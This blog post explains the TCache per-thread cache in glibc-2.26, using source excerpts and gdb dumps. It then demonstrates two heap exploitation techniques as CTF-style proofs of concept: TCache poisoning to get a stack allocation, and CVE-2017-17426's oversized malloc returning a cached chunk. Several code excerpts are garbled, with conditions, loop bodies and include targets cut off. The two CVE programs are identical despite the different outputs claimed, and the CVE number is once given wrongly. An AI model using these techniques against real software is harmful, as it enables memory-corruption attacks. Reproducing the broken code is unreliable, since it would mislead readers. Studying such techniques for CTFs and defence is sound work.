Introduction

In glibc-2.26, TCache (per-thread cache), a new feature, was introduced in malloc. I did not take much notice to the new patch last year until I came across the SimpleGC challenge in 34C3 CTF last year. During the contest, I did not take much time analysing the work flow of TCache and used a brute-force method to get the desired result.
In this post, I am going to give a detailed explanation on how TCache works. Based on the background knowledge, I will introduce two potential exploitation techniques that may appear in future CTF challenges. One is TCache poison [1], which is very similar to fastbin corruption attack. The other one is CVE-2017-17426, which may bring unexpected effect in heap exploitation. Both techniques are tested with glibc-2.26 on Ubuntu 17.04.

TCache Introduction

Two new data structures are introduced as below in the TCache allocation.

typedef struct tcache_entry
{
  struct tcache_entry *next;
} tcache_entry;

/* There is one of these for each thread, which contains the
   per-thread cache (hence "tcache_perthread_struct").  Keeping
   overall size low is mildly important.  Note that COUNTS and ENTRIES
   are redundant (we could have just counted the linked list each
   time), this is for performance reasons.  */
typedef struct tcache_perthread_struct
{
  char counts[TCACHE_MAX_BINS];
  tcache_entry *entries[TCACHE_MAX_BINS];
} tcache_perthread_struct;

static __thread char tcache_shutting_down = 0;
static __thread tcache_perthread_struct *tcache = NULL;

struct tcache_entry is used to maintain a freed chunk in TCache list.
struct tcache_perthread_struct is used to maintain all freed chunk that belongs to TCache list.

To support allocation and deallocation for TCache chunk, two new important functions are introduced in libc-2.26.

/* Caller must ensure that we know tc_idx is valid and there's room
   for more chunks.  */
static void
tcache_put (mchunkptr chunk, size_t tc_idx)
{
  tcache_entry *e = (tcache_entry *) chunk2mem (chunk);
  assert (tc_idx next = tcache->entries[tc_idx];
  tcache->entries[tc_idx] = e;
  ++(tcache->counts[tc_idx]);
}

/* Caller must ensure that we know tc_idx is valid and there's
   available chunks to remove.  */
static void *
tcache_get (size_t tc_idx)
{
  tcache_entry *e = tcache->entries[tc_idx];
  assert (tc_idx entries[tc_idx] > 0);
  tcache->entries[tc_idx] = e->next;
  --(tcache->counts[tc_idx]);
  return (void *) e;
}

Function tcache_put is similar to __int_free, which puts the chunk to free in the tcache->entries.
Function tcache_get is similar to __int_malloc, which returns an available chunk to application.
From the code above, we can see that tcache->entries maintains a singly-linked-list-like data structure to maintain the freed chunk. Similar to fastbin, each entry in tcache->entries is only used to store freed chunk of only one size.

To give an overview on how TCache work, I pick a snippet of code in __libc_malloc and __int_malloc for explanation.

void *__libc_malloc (size_t bytes)
{
  mstate ar_ptr;
  void *victim;
#if USE_TCACHE
  /* int_free also calls request2size, be careful to not pad twice.  */
  size_t tbytes = request2size (bytes);
  size_t tc_idx = csize2tidx (tbytes);

  MAYBE_INIT_TCACHE ();

  DIAG_PUSH_NEEDS_COMMENT;
  if (tc_idx < mp_.tcache_bins
      /*&& tc_idx entries[tc_idx] != NULL)
    {
      return tcache_get (tc_idx);
    }
  DIAG_POP_NEEDS_COMMENT;
#endif
  arena_get (ar_ptr, bytes);
  victim = _int_malloc (ar_ptr, bytes);
  return victim;
}

In __libc_malloc, we can see that the allocator will first go through the tcache->entries to seach for suitable chunks. If there exists requested chunks in TCache list, the allocator will skip calling __int_malloc later.

#if USE_TCACHE
/* While we're here, if we see other chunks of the same size,
   stash them in the tcache.  */
size_t tc_idx = csize2tidx (nb);
if (tcache && tc_idx counts[tc_idx] < mp_.tcache_count && (pp = *fb) != NULL)
      {
          REMOVE_FB (fb, tc_victim, pp);
          if (tc_victim != 0)
          {
               tcache_put (tc_victim, tc_idx);
          }
      }
}
#endif

There is one more operation in the procedure of fastbin allocation. After retrieving a chunk from fastbin, the allocator will remove all chunks in the fastbin of current requested size and move them into the TCache list.

Memory Layout in TCache

I will use the following code to demonstrate the memory layout in TCache allocation.

#include
#include

#define MAX 20

char *array[MAX];

int main()
{
	int i;
	for(i=0; i<MAX; i++)
	{
		array[i] = malloc(0x20);
	}

	for(i=0; i<MAX; i++)
	{
		if(i%2 == 0)
			free(array[i]);
	}

	for(i=0; ientries[1]
(gdb) x/20gx 0x602000
0x602000:	0x0000000000000000	0x0000000000000251
0x602010:	0x000000000000[07]00	0x0000000000000000 <= count of chunks in list
0x602020:	0x0000000000000000	0x0000000000000000
0x602030:	0x0000000000000000	0x0000000000000000
0x602040:	0x0000000000000000	0x0000000000000000
0x602050:	0x0000000000000000 [0x00000000006024a0] <= list header
0x602060:	0x0000000000000000	0x0000000000000000
0x602070:	0x0000000000000000	0x0000000000000000
0x602080:	0x0000000000000000	0x0000000000000000
0x602090:	0x0000000000000000	0x0000000000000000
(gdb) x/4gx 0x6024a0-0x10
0x602490:	0x0000000000000000	0x0000000000000031
0x6024a0:	0x0000000000602440	0x0000000000000000
(gdb) x/4gx 0x602440-0x10
0x602430:	0x0000000000000000	0x0000000000000031
0x602440:	0x00000000006023e0	0x0000000000000000
(gdb) x/4gx 0x6023e0-0x10
0x6023d0:	0x0000000000000000	0x0000000000000031
0x6023e0:	0x0000000000602380	0x0000000000000000
(gdb) x/4gx 0x602380-0x10
0x602370:	0x0000000000000000	0x0000000000000031
0x602380:	0x0000000000602320	0x0000000000000000
(gdb) x/4gx 0x602320-0x10
0x602310:	0x0000000000000000	0x0000000000000031
0x602320:	0x00000000006022c0	0x0000000000000000
(gdb) x/4gx 0x6022c0-0x10
0x6022b0:	0x0000000000000000	0x0000000000000031
0x6022c0:	0x0000000000602260	0x0000000000000000
(gdb) x/4gx 0x602260-0x10
0x602250:	0x0000000000000000	0x0000000000000031
0x602260:	0x0000000000000000	0x0000000000000000


//The remaining 3 freed chunks are inserted into fastbin
0x7ffff7dcfc20:	0x0000000000000000	0x0000000000000000
0x7ffff7dcfc30:	0x00000000006025b0	0x0000000000000000
0x7ffff7dcfc40:	0x0000000000000000	0x0000000000000000
0x7ffff7dcfc50:	0x0000000000000000	0x0000000000000000
0x7ffff7dcfc60:	0x0000000000000000	0x0000000000000000
0x7ffff7dcfc70:	0x0000000000000000	0x0000000000602610
0x7ffff7dcfc80:	0x0000000000000000	0x00007ffff7dcfc78
(gdb) x/4gx 0x6025b0
0x6025b0:	0x0000000000000000	0x0000000000000031
0x6025c0:	0x0000000000602550	0x0000000000000000
(gdb) x/4gx 0x602550
0x602550:	0x0000000000000000	0x0000000000000031
0x602560:	0x00000000006024f0	0x0000000000000000
(gdb) x/4gx 0x6024f0
0x6024f0:	0x0000000000000000	0x0000000000000031
0x602500:	0x0000000000000000	0x0000000000000000

Next, let's observe how allocator retrieved data from tcache->entries and fastbin. To do that, I set a breakpoint after the malloc in the third loop and get output below.

Breakpoint 2, 0x00000000004005b7 in main ()
$1 = 0x6024a0

Breakpoint 2, 0x00000000004005b7 in main ()
$2 = 0x602440

Breakpoint 2, 0x00000000004005b7 in main ()
$3 = 0x6023e0

Breakpoint 2, 0x00000000004005b7 in main ()
$4 = 0x602380

Breakpoint 2, 0x00000000004005b7 in main ()
$5 = 0x602320

Breakpoint 2, 0x00000000004005b7 in main ()
$6 = 0x6022c0

Breakpoint 2, 0x00000000004005b7 in main ()
$7 = 0x602260

Breakpoint 2, 0x00000000004005b7 in main ()
$8 = 0x6025c0

Breakpoint 2, 0x00000000004005b7 in main ()
$9 = 0x602500

Breakpoint 2, 0x00000000004005b7 in main ()
$10 = 0x602560

The information above gives two important points in TCache allocation:
(1) If there exists suitable chunk in tcache->entries and fastbin, extract the chunk from tcache->entries.
(2) Freed chunks in tcache->entries also follows FILO rule as fastbin.

Now let’s move to exploitation techniques in TCache allocation.

TCache Poison

The exploitation on TCache is very similar to fastbin corruption attack. Attacker can corrupt the tcache_entry pointer of the victim chunk and allocate a chunk at any given chunk.

#include
#include

int main()
{
	unsigned long fakechunk[4];
	fakechunk[2] = 0x41414141;
	fakechunk[3] = 0x42424242;
	unsigned long  *p1, *p2, *p3;
	unsigned long *vp1, *vp2;
	p1 = malloc(0x20);
	p2 = malloc(0x20);
	p3 = malloc(0x20);
	free(p1);
	free(p2);

	*(p2) = (unsigned long)(&fakechunk);
	vp1 = malloc(0x20);
	printf("first chunk: %p\n" , vp1);

	vp2 = malloc(0x20);
	printf("second chunk: %p\n", vp2);
	return 0;
}

//expected output and memory layout in the end
first chunk: 0x602290
second chunk: 0x7fffffffdfc0

Breakpoint 1, 0x00000000004006b0 in main ()
(gdb) x/20gx 0x7fffffffdfc0
0x7fffffffdfc0:	0x0000000000000000	0x0000000000000000
0x7fffffffdfd0:	0x0000000041414141	0x0000000042424242

In the code given above, the attacker can overwrite the tcache_entry of the victim chunk and allocate a chunk on stack in the end.

CVE-2017-17426

Another interesting trick is CVE-2017-17426 published recently. For malloc in glibc, if the requested size is a negative number, the returned value should be NULL. However, in the latest glibc-2.26 on Ubuntu 17.04, it seems that the vulnerability has not been patched yet.

Take a close look at the following code respectively and observe their output.
The first one is a normal one and output the result as our expectation.

#include
#include

int main()
{
	void* x = malloc(10);            // normal allocation
	printf("normal allocated chunk: %p\n", x);
        free(x);
	void* z = malloc(((size_t)~0) - 2); 
	printf("allocated chunk: %p\n", z);
}

/*output:
normal allocated chunk: 0x602260
allocated chunk: (nil)
*/

The second is the vulnerable one.

#include
#include

int main()
{
	void* x = malloc(10);            // normal allocation
	printf("normal allocated chunk: %p\n", x);
        free(x);
	void* z = malloc(((size_t)~0) - 2); 
	printf("allocated chunk: %p\n", z);
}
/*output:
normal allocated chunk: 0x602260
allocated chunk: 0x602260
*/

The vulnerability here is that the tcache->entries list has higher priority than fastbin when allocating a chunk. If a chunk is freed, it will be inserted into the TCache list instead of fastbin.
Since TCache allocation does not check whether the requested size is overflown, it will directly extract the chunk in TCache list and return the extracted chunk.

Conclusion

In this post, I give a basic introduction on newly-added TCache in glibc-2.26. Based on the given background, I introduce TCache poinson and CVE-2017-17426 as two potential exploitation techniques that may be useful in future.
Since there is no any security check in TCache allocation, it seems that TCache poison will become a more useful exploitation technique in future.
For CVE-2017-17264, it is surprising to me that the vulnerability still exists in the latest version of libc and up-to-date system. If well designed, this vulnerability may bring some unexpected and interesting tricks in CTF challenges.

Reference

[1] http://tukan.farm/2017/07/08/tcache/
[2] https://sourceware.org/bugzilla/show_bug.cgi?id=22375